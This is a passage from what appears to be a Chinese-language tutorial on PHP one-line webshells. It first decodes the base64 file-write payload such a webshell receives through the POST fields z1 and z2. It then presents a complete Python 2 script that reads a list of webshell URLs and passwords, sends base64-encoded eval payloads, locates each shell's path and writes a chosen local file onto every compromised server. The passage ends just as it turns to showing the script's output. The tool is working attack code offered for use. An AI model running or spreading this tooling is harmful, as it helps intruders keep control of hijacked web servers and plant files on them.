@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=base64_decode($_POST["z2"]);
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=1)  
  $buf.=substr($c,$i,1);
echo(@fwrite(fopen($f,"w"),$buf));
echo("|<-");
die();

3. 在z0中繼續(xù)調(diào)用base64解碼后的z1和z2，解碼后如下：

z1=/var/www/root/1.txt
z2=hello world!

至此，我們可以很清楚的發(fā)現(xiàn)上面的POST請求的作用實(shí)際上是將一個寫有hello world！的名為1.txt的文件上傳至服務(wù)器上/var/www/root/路徑下。

0×02 代碼實(shí)現(xiàn)

基于上面的原理分析，我們可以利用下面的代碼基于php一句話來實(shí)現(xiàn)文件批量上傳：

#!/usr/bin/python 
#coding=utf-8 
import urllib 
import urllib2
import sys
import base64
import re
def post(url, data): 
  req = urllib2.Request(url) 
  data = urllib.urlencode(data)  
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 
  response = opener.open(req, data) 
  return response.read() 
def get_shell_path(posturl,passwd):
  shell_path = ""
  try:
    data = {}
    data[passwd] = '@eval(base64_decode($_POST[z0]));'
    data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
    shell_path = post(posturl, data).strip()
  except Exception:
    pass
  return shell_path
def main():
  print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
  shellfile = sys.argv[1] # 存放webshell路徑和密碼的文件
  localfile = sys.argv[2] # 本地待上傳的文件名
  shell_file = open(shellfile,'rb')
  local_content = str(open(localfile,'rb').read())
  for eachline in shell_file:
    posturl = eachline.split(',')[0].strip()
    passwd = eachline.split(',')[1].strip()
    try:
      reg = ".*/([^/]*\.php?)"
      match_shell_name = re.search(reg,eachline)
      if match_shell_name:
        shell_name=match_shell_name.group(1)
        shell_path = get_shell_path(posturl,passwd).strip()
        target_path = shell_path.split(shell_name)[0]+localfile
        target_path_base64 = base64.b64encode(target_path)
        target_file_url = eachline.split(shell_name)[0]+localfile
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
        data['z1']=target_path_base64
        data['z2']=base64.b64encode(local_content)
        response = post(posturl, data)
        if response:
          print '[+] '+target_file_url+', upload succeed!'
        else:
          print '[-] '+target_file_url+', upload failed!'
      else:
        print '[-] '+posturl+', unsupported webshell!'
    except Exception,e:
      print '[-] '+posturl+', connection failed!'
  shell_file.close()
if __name__ == '__main__': 
  main()

webshell.txt的格式: [一句話webshell文件路徑],[webshell連接密碼]如下：

http://www.example1.com/1.php, 1

http://www.example2.com/1.php, 1

http://www.example3.com/1.php, 1

保存上面腳本為batch_upload_file.py，執(zhí)行命令python batch_upload_file.py webshell.txt 1.txt，效果顯示如下：